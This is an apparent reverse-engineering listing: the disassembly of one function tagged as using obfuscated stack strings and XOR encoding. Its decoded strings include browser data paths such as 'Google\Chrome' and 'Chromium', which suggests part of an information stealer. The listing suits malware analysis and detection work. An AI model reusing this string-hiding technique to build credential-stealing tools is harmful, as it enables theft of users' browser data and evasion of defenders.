Function at 0x140015170
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov r13, rcx
mov dl, 0x46
mov dword [rsp + 0x20], 0x29290146
mov dword [rsp + 0x24], 0x1a232a21
mov dword [rsp + 0x28], 0x29342e05
mov word [rsp + 0x2c], 0x232b
xor eax, eax
mov byte [rsp + 0x2e], al
xor r14d, r14d
xor byte [rsp + rax + 0x21], dl
inc rax
cmp rax, 0xd
jae 0x1400151d4
mov dl, byte [rsp + 0x20]
jmp 0x1400151c1
mov byte [rsp + 0x2e], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
lea rax, [rsp + 0x21]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x1400151fa
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0xc0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x21706
mov rcx, r14
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x12
jb 0x14001522e
mov byte [rsp + 0x53], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xf0], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x140015261
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0xe0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c620]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x59
mov rcx, r14
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0x10
jb 0x140015294
mov byte [rsp + 0x31], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x1400152c7
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x100]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c600]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x64736659
mov sil, 0x64
mov dword [rsp + 0x6c], 0x62453677
mov dword [rsp + 0x70], 0x737a7477
mov dil, 0x74
xor eax, eax
mov byte [rsp + 0x74], al
mov rcx, r14
mov al, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x59], al
inc rcx
cmp rcx, 0x1b
jb 0x140015317
mov byte [rsp + 0x74], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x130], xmm1
lea rax, [rsp + 0x59]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x14001534a
lea rdx, [rsp + 0x59]
lea rcx, [rbp + 0x120]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c570]
movdqu xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x14005c520]
movdqu xmmword [rbp - 0x78], xmm1
mov rcx, r14
mov r12d, 0x1e
mov al, byte [rsp + 0x78]
xor byte [rsp + rcx + 0x79], al
inc rcx
cmp rcx, r12
jb 0x140015389
mov byte [rbp - 0x69], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x150], xmm1
lea rax, [rsp + 0x79]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x1400153ba
lea rdx, [rsp + 0x79]
lea rcx, [rbp + 0x140]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c550]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x151d1f
mov rcx, r14
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x12
jb 0x1400153ee
mov byte [rsp + 0x53], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x170], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x140015421
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x160]
call fcn.1400013b0
nop
mov cl, 0x32
mov dword [rsp + 0x20], 0x405a7132
mov dword [rsp + 0x24], 0x475b5f5d
mov r15b, 0x5b
mov word [rsp + 0x28], 0x5f
mov rax, r14
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 8
jae 0x14001546e
mov cl, byte [rsp + 0x20]
jmp 0x14001545b
mov byte [rsp + 0x29], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x190], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x140015490
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x180]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c540]
movdqu xmmword [rsp + 0x20], xmm0
mov rcx, r14
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0xe
jb 0x1400154bc
mov byte [rsp + 0x2f], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1b0], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x1400154ef
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x1a0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c610]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x77647360
mov dword [rsp + 0x6c], 0x7d60503f
mov r14b, 0x7d
mov dword [rsp + 0x70], 0x60776165
xor eax, eax
mov byte [rsp + 0x74], al
xor ecx, ecx
mov al, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x59], al
inc rcx
cmp rcx, 0x1b
jb 0x14001553b
mov byte [rsp + 0x74], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1d0], xmm1
lea rax, [rsp + 0x59]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14001556e
lea rdx, [rsp + 0x59]
lea rcx, [rbp + 0x1c0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c580]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x412160e
mov word [rsp + 0x54], 0x13
xor ecx, ecx
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x14
jb 0x1400155a9
mov byte [rsp + 0x55], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400155dc
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x1e0]
call fcn.1400013b0
nop
mov cl, 0x30
mov dword [rbp + 0x4e8], 0x595d7130
mov word [rbp + 0x4ec], 0x5f57
xor eax, eax
mov byte [rbp + 0x4ee], al
xor byte [rbp + rax + 0x4e9], cl
inc rax
cmp rax, 5
jae 0x14001562d
mov cl, byte [rbp + 0x4e8]
jmp 0x140015615
mov byte [rbp + 0x4ee], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x210], xmm1
lea rax, [rbp + 0x4e9]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140015653
lea rdx, [rbp + 0x4e9]
lea rcx, [rbp + 0x200]
call fcn.1400013b0
nop
mov cl, 0x2a
mov dword [rsp + 0x20], 0x5c437c2a
mov dword [rsp + 0x24], 0x434e464b
xor eax, eax
mov byte [rsp + 0x28], al
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 7
jae 0x14001569c
mov cl, byte [rsp + 0x20]
jmp 0x140015689
mov byte [rsp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x230], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400156be
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x220]
call fcn.1400013b0
nop
mov cl, 8
mov dword [rsp + 0x20], 0x6a7a4708
mov dword [rsp + 0x24], 0x657d7c61
xor eax, eax
mov byte [rsp + 0x28], al
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 7
jae 0x140015705
mov cl, byte [rsp + 0x20]
jmp 0x1400156f2
mov byte [rsp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x250], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140015727
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x240]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0x1d153974
mov dword [rsp + 0x24], 0x1265a18
mov dword [rsp + 0x28], 0x1b003528
mov word [rsp + 0x2c], 0x19
xor eax, eax
xor byte [rsp + rax + 0x21], dil
inc rax
cmp rax, 0xc
jae 0x140015779
mov dil, byte [rsp + 0x20]
jmp 0x140015764
xor edi, edi
mov byte [rsp + 0x2d], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x270], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14001579d
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x260]
call fcn.1400013b0
nop
mov cl, 0x26
mov dword [rbp + 0x4e8], 0x4b496d26
mov dword [rbp + 0x4ec], 0x475243
mov rax, rdi
xor byte [rbp + rax + 0x4e9], cl
inc rax
cmp rax, 6
jae 0x1400157e9
mov cl, byte [rbp + 0x4e8]
jmp 0x1400157d1
mov byte [rbp + 0x4ef], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x290], xmm1
lea rax, [rbp + 0x4e9]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14001580f
lea rdx, [rbp + 0x4e9]
lea rcx, [rbp + 0x280]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0x90b2764
mov dword [rsp + 0x24], 0x380b000b
mov dword [rsp + 0x28], 0x3051620
mov word [rsp + 0x2c], 0xa0b
xor eax, eax
mov byte [rsp + 0x2e], al
mov rax, rdi
xor byte [rsp + rax + 0x21], sil
inc rax
cmp rax, 0xd
jae 0x140015869
mov sil, byte [rsp + 0x20]
jmp 0x140015854
xor esi, esi
mov byte [rsp + 0x2e], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2b0], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14001588d
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x2a0]
call fcn.1400013b0
nop
mov cl, 0x2c
mov dword [rbp + 0x4e8], 0x5e43782c
mov dil, 0x4f
mov word [rbp + 0x4ec], 0x444f
xor eax, eax
mov byte [rbp + 0x4ee], al
mov rax, rsi
xor byte [rbp + rax + 0x4e9], cl
inc rax
cmp rax, 5
jae 0x1400158e3
mov cl, byte [rbp + 0x4e8]
jmp 0x1400158cb
mov byte [rbp + 0x4ee], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2d0], xmm1
lea rax, [rbp + 0x4e9]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015909
lea rdx, [rbp + 0x4e9]
lea rcx, [rbp + 0x2c0]
call fcn.1400013b0
nop
mov cl, 0x54
mov dword [rbp + 0x4e8], 0x393b1754
mov dword [rbp + 0x4ec], 0x3b303b
mov rax, rsi
xor byte [rbp + rax + 0x4e9], cl
inc rax
cmp rax, 6
jae 0x140015957
mov cl, byte [rbp + 0x4e8]
jmp 0x14001593f
mov byte [rbp + 0x4ef], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2f0], xmm1
lea rax, [rbp + 0x4e9]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14001597d
lea rdx, [rbp + 0x4e9]
lea rcx, [rbp + 0x2e0]
call fcn.1400013b0
nop
mov cl, 0x76
mov dword [rsp + 0x20], 0x1f1a2576
mov dword [rsp + 0x24], 0x2131c1b
xor eax, eax
mov byte [rsp + 0x28], al
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 7
jae 0x1400159c8
mov cl, byte [rsp + 0x20]
jmp 0x1400159b5
mov byte [rsp + 0x28], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x310], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x1400159ea
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x300]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5d0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x382f39
mov rcx, rsi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
inc rcx
cmp rcx, 0x12
jb 0x140015a1e
mov byte [rsp + 0x53], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x330], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015a51
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x320]
call fcn.1400013b0
nop
mov cl, 0x49
mov dword [rsp + 0x20], 0x31280449
mov dword [rsp + 0x24], 0x2726213d
mov word [rsp + 0x28], 0x7a
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 8
jae 0x140015a9b
mov cl, byte [rsp + 0x20]
jmp 0x140015a88
mov byte [rsp + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x350], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015abd
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x340]
call fcn.1400013b0
nop
mov cl, 0x48
mov dword [rsp + 0x20], 0x5650348
mov dword [rsp + 0x24], 0x2627242d
xor eax, eax
mov byte [rsp + 0x28], al
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
inc rax
cmp rax, 7
jae 0x140015b06
mov cl, byte [rsp + 0x20]
jmp 0x140015af3
mov byte [rsp + 0x28], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x370], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015b28
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x360]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c590]
movdqu xmmword [rsp + 0x20], xmm0
xor eax, eax
mov byte [rsp + 0x30], al
mov rcx, rsi
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0xf
jb 0x140015b5a
mov byte [rsp + 0x30], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x390], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015b8d
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x380]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0x2c26014f
mov dword [rsp + 0x24], 0x22203d27
mov word [rsp + 0x28], 0x2a
mov rax, rsi
xor byte [rsp + rax + 0x21], dil
inc rax
cmp rax, 8
jae 0x140015bd7
mov dil, byte [rsp + 0x20]
jmp 0x140015bc2
mov byte [rsp + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3b0], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015bf9
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x3a0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [str.iEIiEIvhXE_YOX]
movdqu xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0xe
jb 0x140015c25
mov byte [rsp + 0x2f], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3d0], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015c58
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x3c0]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c510]
movdqu xmmword [rsp + 0x20], xmm0
mov rcx, rsi
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0xe
jb 0x140015c84
mov byte [rsp + 0x2f], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3f0], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015cb7
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x3e0]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0xf153e7d
mov dword [rsp + 0x24], 0x19121012
mov word [rsp + 0x28], 0x12
mov rax, rsi
xor byte [rsp + rax + 0x21], r14b
mov r14d, 1
add rax, r14
cmp rax, 8
jae 0x140015d07
mov r14b, byte [rsp + 0x20]
jmp 0x140015cec
mov byte [rsp + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x410], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015d29
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x400]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5f0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x5f494d55
mov word [rsp + 0x54], 0x48
mov rcx, rsi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
add rcx, r14
cmp rcx, 0x14
jb 0x140015d64
mov byte [rsp + 0x55], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x420], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x430], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015d97
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x420]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c640]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x6d7a
xor eax, eax
mov byte [rsp + 0x52], al
mov rcx, rsi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
add rcx, r14
cmp rcx, 0x11
jb 0x140015dd0
mov byte [rsp + 0x52], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x450], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015e03
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x440]
call fcn.1400013b0
nop
mov cl, 0x73
mov dword [rsp + 0x20], 0x31303773
mov dword [rsp + 0x24], 0x41c01
mov word [rsp + 0x28], 0x116
xor eax, eax
mov byte [rsp + 0x2a], al
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
add rax, r14
cmp rax, 9
jae 0x140015e53
mov cl, byte [rsp + 0x20]
jmp 0x140015e40
mov byte [rsp + 0x2a], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x470], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015e75
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x460]
call fcn.1400013b0
nop
mov cl, 0x36
mov dword [rsp + 0x20], 0x51596536
mov dword [rsp + 0x24], 0x4e734359
mov dword [rsp + 0x28], 0x44595a46
mov word [rsp + 0x2c], 0x4453
xor eax, eax
mov byte [rsp + 0x2e], al
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
add rax, r14
cmp rax, 0xd
jae 0x140015ecd
mov cl, byte [rsp + 0x20]
jmp 0x140015eba
mov byte [rsp + 0x2e], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x480], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x490], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015eef
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x480]
call fcn.1400013b0
nop
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x4e8]
lea rdx, [rsp + 0x20]
mov rcx, r13
call fcn.140013cb8
nop
lea r9, [fcn.140002320]
mov edx, 0x20
lea r8d, [rdx - 1]
lea rcx, [rbp + 0xc0]
call fcn.14005239c
movdqa xmm0, xmmword [0x14005c660]
movdqu xmmword [rsp + 0x20], xmm0
xor eax, eax
mov byte [rsp + 0x30], al
mov rcx, rsi
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
add rcx, r14
cmp rcx, 0xf
jb 0x140015f6a
mov byte [rsp + 0x30], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015f97
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x40]
call fcn.1400013b0
nop
mov cl, 0x38
mov dword [rsp + 0x20], 0x4c596f38
mov dword [rsp + 0x24], 0x575e4a5d
mov word [rsp + 0x28], 0x40
mov rax, rsi
xor byte [rsp + rax + 0x21], cl
add rax, r14
cmp rax, 8
jae 0x140015fde
mov cl, byte [rsp + 0x20]
jmp 0x140015fcb
mov byte [rsp + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140015ffa
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x20]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0x1676105b
mov dword [rsp + 0x24], 0x343e373e
mov word [rsp + 0x28], 0x35
mov rax, rsi
xor byte [rsp + rax + 0x21], r15b
add rax, r14
cmp rax, 8
jae 0x140016041
mov r15b, byte [rsp + 0x20]
jmp 0x14001602c
mov byte [rsp + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14001605d
lea rdx, [rsp + 0x21]
lea rcx, [rbp]
call fcn.1400013b0
nop
mov dword [rsp + 0x20], 0x6b764a1e
mov dword [rsp + 0x24], 0x6c7b7a70
mov dword [rsp + 0x28], 0x7a6c777c
xor eax, eax
mov byte [rsp + 0x2c], al
mov rax, rsi
xor byte [rsp + rax + 0x21], r12b
add rax, r14
cmp rax, 0xb
jae 0x1400160ab
mov r12b, byte [rsp + 0x20]
jmp 0x140016096
mov byte [rsp + 0x2c], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x30], xmm1
lea rax, [rsp + 0x21]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x1400160c7
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x20]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c560]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x13
mov rcx, rsi
mov al, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
add rcx, r14
cmp rcx, 0x10
jb 0x1400160f7
mov byte [rsp + 0x51], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140016124
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x40]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5a0]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x4100700
mov word [rsp + 0x6c], 0x1a0d
xor eax, eax
mov byte [rsp + 0x6e], al
mov rcx, rsi
mov al, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x59], al
add rcx, r14
cmp rcx, 0x15
jb 0x140016162
mov byte [rsp + 0x6e], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
lea rax, [rsp + 0x59]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14001618f
lea rdx, [rsp + 0x59]
lea rcx, [rbp + 0x60]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5c0]
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x3a363830
mov dword [rbp - 0x74], 0x331d032c
mov dword [rbp - 0x70], 0x17343c3e
mov word [rbp - 0x6c], 0x283e
xor eax, eax
mov byte [rbp - 0x6a], al
mov rcx, rsi
mov al, byte [rsp + 0x78]
xor byte [rsp + rcx + 0x79], al
add rcx, r14
cmp rcx, 0x1d
jb 0x1400161d8
mov byte [rbp - 0x6a], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x90], xmm1
lea rax, [rsp + 0x79]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14001620a
lea rdx, [rsp + 0x79]
lea rcx, [rbp + 0x80]
call fcn.1400013b0
nop
movdqa xmm0, xmmword [0x14005c5e0]
movdqu xmmword [rbp - 0x68], xmm0
movdqa xmm1, xmmword [0x14005c630]
movdqu xmmword [rbp - 0x58], xmm1
xor eax, eax
mov byte [rbp - 0x48], al
mov rcx, rsi
mov al, byte [rbp - 0x68]
xor byte [rbp + rcx - 0x67], al
add rcx, r14
cmp rcx, 0x1f
jb 0x140016247
mov byte [rbp - 0x48], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb0], xmm1
lea rax, [rbp - 0x67]
inc rbx
cmp byte [rax + rbx], sil
jne 0x140016274
mov r8, rbx
lea rdx, [rbp - 0x67]
lea rcx, [rbp + 0xa0]
call fcn.1400013b0
nop
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x4e8]
lea rdx, [rsp + 0x20]
lea rcx, [r13 + 0x18]
call fcn.140013cb8
nop
lea r9, [fcn.140002320]
mov edx, 0x20
lea r8d, [rdx - 0x18]
lea rcx, [rbp - 0x40]
call fcn.14005239c
nop
mov rax, r13
mov rbx, qword [rsp + 0x5f0]
add rsp, 0x5a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret